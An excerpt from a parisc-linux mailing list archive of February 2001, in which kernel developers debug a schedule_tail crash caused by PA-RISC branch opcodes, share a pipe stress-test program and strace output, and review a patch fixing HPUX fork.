> trying to start 'portmapper', it just sits there, hitting CTRL-C
> continues the boot process. If I add the option 'nolock' the
portmapper
> will be skipped.
> 
> Next, the init process will stop or hang when trying to start 'nscd', 
> CTRL-C won't break it. I disabled that script also, and finally got
the
> whole boot to finish.
> 
> There are other programs that don't work either, 'tar' will just sit
> there, as well as 'dpkg'.
> 
> Any suggestions? Thanks.
> 
> -- 
>      Rafael
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> 






From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: schedule_tail
Date: Fri, 23 Feb 2001 01:28:36 +1100 (EST)
Lines: 35
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102230114130.14557-100000@front.linuxcare.com.au>
References: <Pine.LNX.4.21.0102222150310.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619903 16009 80.91.229.3 (22 Nov 2014 01:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 07:28:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id C43E54A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 07:28:44 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id BAA08350;
	Fri, 23 Feb 2001 01:28:36 +1100
In-Reply-To: <Pine.LNX.4.21.0102222150310.14557-100000@front.linuxcare.com.au>
Xref: news.gmane.org gmane.linux.ports.parisc:10368

On Thu, 22 Feb 2001, Alan Modra wrote:

> First time in do_fork, I see
>  p = 0x14ff0000, current = 0x102cc000 (= init_task)
> 
> first call to ret_from_kernel_thread gives
>  r26 = 0x102cc000, r30 = 0x14ff0500, and called func = init
> 
> so that checks out OK.  Disassmbling schedule_tail doesn't show anything
> bad.
> 
>  copy r3,r1
>  copy sp,r3
>  stw,ma r1,0x40(sp)
>  ldw 0x28(r26),r19
>  depwi 0,27,1,r19
>  stw r19,0x28(r26)
>  ldo 0x40(r3),sp
>  bv (rp)
>  ldw,mb -0x40(sp),r3

This is really crazy (or I am).  I replaced the calls to schedule_tail
with a call to foo_schedule_tail, a local copy of the above without the
bit twiddling.  Still crashed.  OK, so maybe the stack is messed up.
Turn foo_schedule_tail into

foo_schedule_tail:
  bv (%rp)
  nop

It crashes!!  Remove the calls, and it's OK.  What????





From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: schedule_tail
Date: Thu, 22 Feb 2001 14:43:31 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <20010222144331.G1129@linuxcare.com>
References: <Pine.LNX.4.21.0102222150310.14557-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0102230114130.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619903 16015 80.91.229.3 (22 Nov 2014 01:31:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:43 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 07:42:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 23F664A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 07:42:54 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 91A82B005; Thu, 22 Feb 2001 14:43:31 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102230114130.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Fri, Feb 23, 2001 at 01:28:36AM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10369

On Fri, Feb 23, 2001 at 01:28:36AM +1100, Alan Modra wrote:
> This is really crazy (or I am).  I replaced the calls to schedule_tail

This helps for me.  b,l disassembles as call, not b,l ...,rp:

===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.72
diff -u -r1.72 entry.S
--- entry.S     2001/02/20 02:19:52     1.72
+++ entry.S     2001/02/22 14:33:43
@@ -509,7 +509,7 @@
 
        /* Call schedule_tail first though */
 
-       b,l     schedule_tail, %r2
+       bl      schedule_tail, %r2
        ldo     64(%r30), %r30
 
        ldo     -64(%r30), %r30
@@ -1790,7 +1790,7 @@
 
        /* Set the return value for the child */
 child_return:
-       b,l     schedule_tail, %r2
+       bl      schedule_tail, %r2
        ldo     64(%r30), %r30
 
        ldo     -64(%r30), %r30


Richard





From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 17:00:50 +0000
Lines: 33
Approved: news@gmane.org
Message-ID: <20010222170050.B4660@linuxcare.com>
References: <20010222130359.F1129@linuxcare.com> <Pine.LNX.4.21.0102230011340.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619904 16018 80.91.229.3 (22 Nov 2014 01:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 10:00:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FDFE4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 10:00:12 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 2097AB005; Thu, 22 Feb 2001 17:00:50 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102230011340.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Fri, Feb 23, 2001 at 12:27:44AM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10370

On Fri, Feb 23, 2001 at 12:27:44AM +1100, Alan Modra wrote:
> suit.  What's the betting you can't reproduce this? :-(

atm the child dies for me before the two get to talk over the pipes at
all.

Beware: strace output is wrong after a traced program does execve:

main()
{
        execl("/bin/true", "true", 0);
}


...
...
getpid()                                = 13025
execve("/bin/true", ["true"], [/* 20 vars */]) = 0
execve("", [ptrace: umoven: Input/output error
0x1], [/* 1 var */])     = 1073851560
newuname({sys="Linux", node="merlin", ...}) = 0
brk(0)                                  = 0x2f
open("/etc/ld.so.preload", O_RDONLY)    = 9
open("/etc/ld.so.cache", O_RDONLY)      = 3
newfstat(3, {st_mode=S_IFREG|0644, st_size=7103, ...}) = 0
mmap(NULL, 7103, PROT_READ, MAP_PRIVATE, 3, 0) = 0x4001c000
close(3)                                = 1073863222
open("/lib/libc.so.6", O_RDONLY)        = 1073848888
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2k\314"..., 1024) = 1073856336





From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 10:44:02 -0700
Lines: 85
Approved: news@gmane.org
Message-ID: <E14Vzmc-0007Zm-00@noam.fc.hp.com>
References: <20010222130359.F1129@linuxcare.com> <Pine.LNX.4.21.0102230011340.14557-100000@front.linuxcare.com.au>  <20010222170050.B4660@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619904 16020 80.91.229.3 (22 Nov 2014 01:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:44 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 10:44:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9E9B94A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 10:44:04 -0700 (MST)
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 88D7BC48; Thu, 22 Feb 2001 12:44:03 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id KAA04458;
	Thu, 22 Feb 2001 10:44:02 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 14Vzmc-0007Zm-00; Thu, 22 Feb 2001 10:44:02 -0700
In-Reply-To: Your message of "Thu, 22 Feb 2001 17:00:50 GMT."
             <20010222170050.B4660@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10371

I thought I'd write a pipe test program for laughs.  Don't run this
unless you want to cry -- it locks up my machine (both narrow
and wide kernels) after not very many trials, though 'ping' still works.
On a wide kernel, a TOC caught it in __down_interruptible but that
could be normal.

	-P


#include <stdio.h>
#include <unistd.h>

#define READ 0
#define WRITE 1
#define SIZE 4096

int
main(int argc, char *argv[])
{
    int p[2];
    char data[SIZE];
    char rdbuf[SIZE];
    int i;
    int pid;

    if (pipe(p) != 0)
    {
	perror("pipe");
	return 3;
    }

    for (i = 0; i < SIZE; i++)
    {
	data[i] = rand() & 0xff;
    }

    if ((pid = fork()) < 0)
    {
	perror("fork");
	return 3;
    }

    for(i = 0; i < 10000; i++)
    {
	int sendoffset = rand() % SIZE;
	int sendsize = rand() % (SIZE - sendoffset);
	int wr, rd;

	/* Don't bother sending 0 bytes */
	if (sendoffset == SIZE - 1)
	    continue;

	if (pid > 0)
	{
	    wr = write(p[WRITE], data + sendoffset, sendsize);
	    printf("%d: write(data + %d, %d) = %d\n",
		i, sendoffset, sendsize, wr);
	    if (wr != sendsize)
	    {
		fprintf(stderr, "write returns %d expected %d\n", wr, sendsize);
		if (wr < 0)
			perror("write");
	    }
	}
	else
	{
	    rd = read(p[READ], rdbuf, sendsize);
	    printf("%d: read(%d) = %d\n", i, sendsize, rd);
	    if (rd != sendsize)
	    {
		fprintf(stderr, "read returns %d expected %d\n", rd, sendsize);
		if (rd < 0)
		    perror("read");
	    }

	    if (memcmp(data + sendoffset, rdbuf, rd) != 0)
	    {
		fprintf(stderr, "readback compare failed\n");
	    }
	}
    }
}




From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: schedule_tail
Date: Thu, 22 Feb 2001 11:24:41 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <20010222112441.T31164@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.21.0102222150310.14557-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0102230114130.14557-100000@front.linuxcare.com.au> <20010222144331.G1129@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619904 16024 80.91.229.3 (22 Nov 2014 01:31:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:44 +0000 (UTC)
Cc: Alan Modra <alan@linuxcare.com.au>,
	Matthew Wilcox <matthew@wil.cx>, parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 11:25:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 82A554A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 11:25:13 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14W0Px-0007L7-00; Thu, 22 Feb 2001 11:24:41 -0700
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010222144331.G1129@linuxcare.com>; from rhirst@linuxcare.com on Thu, Feb 22, 2001 at 02:43:31PM +0000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10372

On Thu, Feb 22, 2001 at 02:43:31PM +0000, Richard Hirst wrote:
> On Fri, Feb 23, 2001 at 01:28:36AM +1100, Alan Modra wrote:
> > This is really crazy (or I am).  I replaced the calls to schedule_tail
> 
> This helps for me.  b,l disassembles as call, not b,l ...,rp:
> 
> ===================================================================
> RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/entry.S,v
> retrieving revision 1.72
> diff -u -r1.72 entry.S
> --- entry.S     2001/02/20 02:19:52     1.72
> +++ entry.S     2001/02/22 14:33:43
> @@ -509,7 +509,7 @@
>  
>         /* Call schedule_tail first though */
>  
> -       b,l     schedule_tail, %r2
> +       bl      schedule_tail, %r2

This is crazy.  entry.S is .level 2.0.  bl is not a pa2.0 opcode, b,l is!
What is going on?!

Wait.  Is it...

`The word displacement is assembled from the w, w1, w2, and (when the
,L completer is specified with GR 2 as the link register) w3 fields in
the instruction.''

which, iirc is not available on pa1.1 processors.  So here's the crucial
difference.  Not 32-bit vs 64-bit.  Not SMP vs UP.  But pa1.1 vs 2.0.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:16:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: WIES Nicolas <n.wies@wanadoo.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help wanted on an 715/50 "old Box" 2
Date: Thu, 22 Feb 2001 23:01:03 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <01022223010301.01360@nw>
References: <200102212047.VAA18271@zaphod.halden.lillfab.se>
Reply-To: n.wies@wanadoo.fr
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619905 16027 80.91.229.3 (22 Nov 2014 01:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:45 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 15:02:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (ca-ol-sqy-11-246.abo.wanadoo.fr [213.56.234.246])
	by dsl2.external.hp.com (Postfix) with SMTP id 653744A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 15:02:17 -0700 (MST)
Original-Received: (qmail 1553 invoked by uid 206); 22 Feb 2001 22:01:03 -0000
Original-Received: from localhost (HELO nw) (nw@127.0.0.1)
  by localhost with SMTP; 22 Feb 2001 22:01:03 -0000
X-Mailer: KMail [version 1.1.99]
In-Reply-To: <200102212047.VAA18271@zaphod.halden.lillfab.se>
Xref: news.gmane.org gmane.linux.ports.parisc:10373

Le Mercredi 21 Fvrier 2001 21:47, vous avez crit :
> On 20 Feb, Alex deVries wrote:
> > It seems very unlikely that's a Tulip chip, since that's a PCI chipset
> > that can't connect to EISA.  If it's another EISA ethernet chipset,
> > there's still some WAX work we need to get through.
>
> Actually I think there was EISA tulips (DC21040-based), but for Linux
> you need to use the de4x5 driver rather than the tulip driver.
>
> /Daniel

Thanks for this information. This card comes from HP, this an extension card 
available when the 715 was buy. It's the HP 25567B EISA LAN adapter.

I try yesterday to boot from a kernel by rbootd, but during 1H30 nothing 
append.
I retry this weekend with the last kernel from the FTP.


Nicolas
-- 
Adresse de rponse  / return address :

	n.wies@wanadoo.fr

:-)





From - Thu Nov 08 21:16:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@ldl.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Fix HPUX fork
Date: Thu, 22 Feb 2001 21:46:13 -0700
Lines: 148
Approved: news@gmane.org
Message-ID: <E14WA7R-0004qy-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619905 16030 80.91.229.3 (22 Nov 2014 01:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:45 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 21:46:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15D594A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Feb 2001 21:46:37 -0700 (MST)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by atlrel2.hp.com (Postfix) with ESMTP id E4CED308
	for <parisc-linux@parisc-linux.org>; Thu, 22 Feb 2001 23:46:14 -0500 (EST)
Original-Received: from chrysl (chrysl.fc.hp.com [15.1.54.200])
	by ldl.fc.hp.com (Postfix) with ESMTP id 09E635A967
	for <parisc-linux@parisc-linux.org>; Thu, 22 Feb 2001 21:46:13 -0700 (MST)
Original-Received: from willy by chrysl with local (Exim 3.12 #1 (Debian))
	id 14WA7R-0004qy-00
	for <parisc-linux@parisc-linux.org>; Thu, 22 Feb 2001 21:46:13 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10374

jsm pointed out I'd broken HPUX fork recently.  This fix is untested
(except that it builds), but if it's wrong it does at least point the
way.  I don't know if we want to enable STICKY_TIMEOUTS or some other
bugs for PER_HPUX, but they weren't enabled for SOM processes before,
so I haven't enabled them now.

Index: arch/parisc/hpux/entry_hpux.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/hpux/entry_hpux.S,v
retrieving revision 1.14
diff -u -p -r1.14 entry_hpux.S
--- entry_hpux.S	2000/07/18 03:14:26	1.14
+++ entry_hpux.S	2001/02/23 04:35:17
@@ -1,17 +1,13 @@
-/* -----------------------------------------------------------------------------
+/*
  *
- * Native PARISC/Linux Project (http://www.puffingroup.com/parisc)
+ * PARISC/Linux Project (http://www.parisc-linux.org/)
  *
  * modified by Matthew Wilcox <willy@bofh.ai> 1999-07-26
  */
 
-
-#define ASSEMBLY
-
 #include <linux/sys.h>
 #include <linux/linkage.h>
 #include <asm/unistd.h>
-
 
 	.text
 
Index: arch/parisc/hpux/wrappers.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/hpux/wrappers.S,v
retrieving revision 1.12
diff -u -p -r1.12 wrappers.S
--- wrappers.S	2001/01/28 13:39:13	1.12
+++ wrappers.S	2001/02/23 04:35:17
@@ -1,5 +1,5 @@
-/*------------------------------------------------------------------------------
- * Native PARISC/Linux Project (http://www.puffingroup.com/parisc)
+/*
+ * PARISC/Linux Project (http://www.parisc-linux.org/)
  *
  * HP-UX System Call Wrapper routines and System Call Return Path
  *
@@ -80,6 +80,7 @@
 
 
 	.export hpux_fork_wrapper
+	.export hpux_child_return
 	.import sys_fork
 
 hpux_fork_wrapper:
@@ -90,10 +91,7 @@ hpux_fork_wrapper:
 	stw	%r2,-20(%r30)
 	ldo	64(%r30),%r30
 	stw	%r2,PT_GR19(%r1)	;! save for child
-	stw	%r30,PT_GR20(%r1)	;! save for child
-	ldil	L%child_return,%r3
-	ldo	R%child_return(%r3),%r3
-	stw	%r3,PT_GR21(%r1)	;! save for child
+	stw	%r30,PT_GR21(%r1)	;! save for child
 
 	ldw	TASK_PT_GR30(%r1),%r25
 	copy	%r1,%r24
@@ -129,7 +127,7 @@ fork_exit:
 
 	/* Set the return value for the child */
 
-child_return:
+hpux_child_return:
 	ldw TASK_PT_GR19-TASK_SZ_ALGN-128(%r30),%r2
 	b fork_return
 	copy %r0,%r28
Index: arch/parisc/kernel/process.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/process.c,v
retrieving revision 1.32
diff -u -p -r1.32 process.c
--- process.c	2001/02/23 01:08:42	1.32
+++ process.c	2001/02/23 04:35:17
@@ -223,6 +223,7 @@ copy_thread(int nr, unsigned long clone_
 	 * function pointers aren't a pointer to the function on 64-bit */
 	extern void *ret_from_kernel_thread;
 	extern void *child_return;
+	extern void *hpux_child_return;
 
 	*cregs = *pregs;
 
@@ -262,8 +263,12 @@ copy_thread(int nr, unsigned long clone_
 		/* Use same stack depth as parent */
 		cregs->ksp = ((unsigned long)(p))
 			+ (pregs->gr[21] & (INIT_TASK_SIZE - 1));
-		cregs->kpc = &child_return;
 		cregs->gr[30] = usp;
+		if (p->personality == PER_HPUX) {
+			cregs->kpc = &hpux_child_return;
+		} else {
+			cregs->kpc = &child_return;
+		}
 	}
 
 	return 0;
Index: fs/binfmt_som.c
===================================================================
RCS file: /home/cvs/parisc/linux/fs/binfmt_som.c,v
retrieving revision 1.14
diff -u -p -r1.14 binfmt_som.c
--- binfmt_som.c	2000/12/19 23:56:51	1.14
+++ binfmt_som.c	2001/02/23 04:35:17
@@ -228,7 +228,7 @@ do_load_som_binary(struct linux_binprm *
 
 	/* OK, This is the point of no return */
 	current->flags &= ~PF_FORKNOEXEC;
-	current->personality = PER_LINUX; /* I suspect we want a PER_HPUX */
+	current->personality = PER_HPUX;
 
 	retval = map_som_binary(bprm->file, hpuxhdr);
 	if (retval < 0)
Index: include/linux/personality.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/linux/personality.h,v
retrieving revision 1.3
diff -u -p -r1.3 personality.h
--- personality.h	2000/05/26 16:03:05	1.3
+++ personality.h	2001/02/23 04:35:18
@@ -25,11 +25,12 @@
 #define PER_SUNOS		(PER_BSD | STICKY_TIMEOUTS)
 #define PER_XENIX		(0x0007 | STICKY_TIMEOUTS)
 #define PER_LINUX32		(0x0008)
-#define PER_IRIX32              (0x0009 | STICKY_TIMEOUTS) /* IRIX5 32-bit     */
-#define PER_IRIXN32             (0x000a | STICKY_TIMEOUTS) /* IRIX6 new 32-bit */
-#define PER_IRIX64              (0x000b | STICKY_TIMEOUTS) /* IRIX6 64-bit     */
+#define PER_IRIX32		(0x0009 | STICKY_TIMEOUTS) /* IRIX5 32-bit     */
+#define PER_IRIXN32		(0x000a | STICKY_TIMEOUTS) /* IRIX6 new 32-bit */
+#define PER_IRIX64		(0x000b | STICKY_TIMEOUTS) /* IRIX6 64-bit     */
 #define PER_RISCOS		(0x000c)
 #define PER_SOLARIS		(0x000d | STICKY_TIMEOUTS)
+#define PER_HPUX		(0x000e)
 
 /* Prototype for an lcall7 syscall handler. */
 typedef void (*lcall7_func)(int, struct pt_regs *);




From - Thu Nov 08 21:16:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] Fix HPUX fork
Date: Thu, 22 Feb 2001 22:26:47 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <200102230626.WAA20515@milano.cup.hp.com>
References: <E14WA7R-0004qy-00@chrysl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619905 16032 80.91.229.3 (22 Nov 2014 01:31:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:45 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@ldl.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 23:23:58 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C5934A19
	for <parisc-linux@parisc-linux.org>; Thu, 22 Feb 2001 23:23:58 -0700 (MST)
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP id DEDE3D11
	for <parisc-linux@parisc-linux.org>; Thu, 22 Feb 2001 22:23:52 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA20515;
	Thu, 22 Feb 2001 22:26:48 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 22 Feb 2001 21:46:13 PST."
             <E14WA7R-0004qy-00@chrysl> 
Xref: news.gmane.org gmane.linux.ports.parisc:10375

Matthew Wilcox wrote:
> -		cregs->kpc = &child_return;
>  		cregs->gr[30] = usp;
> +		if (p->personality == PER_HPUX) {
> +			cregs->kpc = &hpux_child_return;
> +		} else {
> +			cregs->kpc = &child_return;
> +		}

Matthew,
In general, branches hurt performance on RISC archs.
Could the code be structured something like:

	cregs->kpc = child_return_ftn[p->personality];
or 
	cregs->kpc = personality_data[p->personality].child_ret_ftn;


For PARISC-linux, do we need more personalities for wide-mode or SOM support?
If so, then indexing is probably a better solution.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:16:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc64 vs kernel64
Date: Fri, 23 Feb 2001 08:58:15 +0000
Lines: 46
Approved: news@gmane.org
Message-ID: <20010223085815.B16261@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619906 16034 80.91.229.3 (22 Nov 2014 01:31:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:46 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Feb 23 01:58:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83BEF4A19
	for <parisc-linux@parisc-linux.org>; Fri, 23 Feb 2001 01:58:16 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14WE3L-0004R7-00
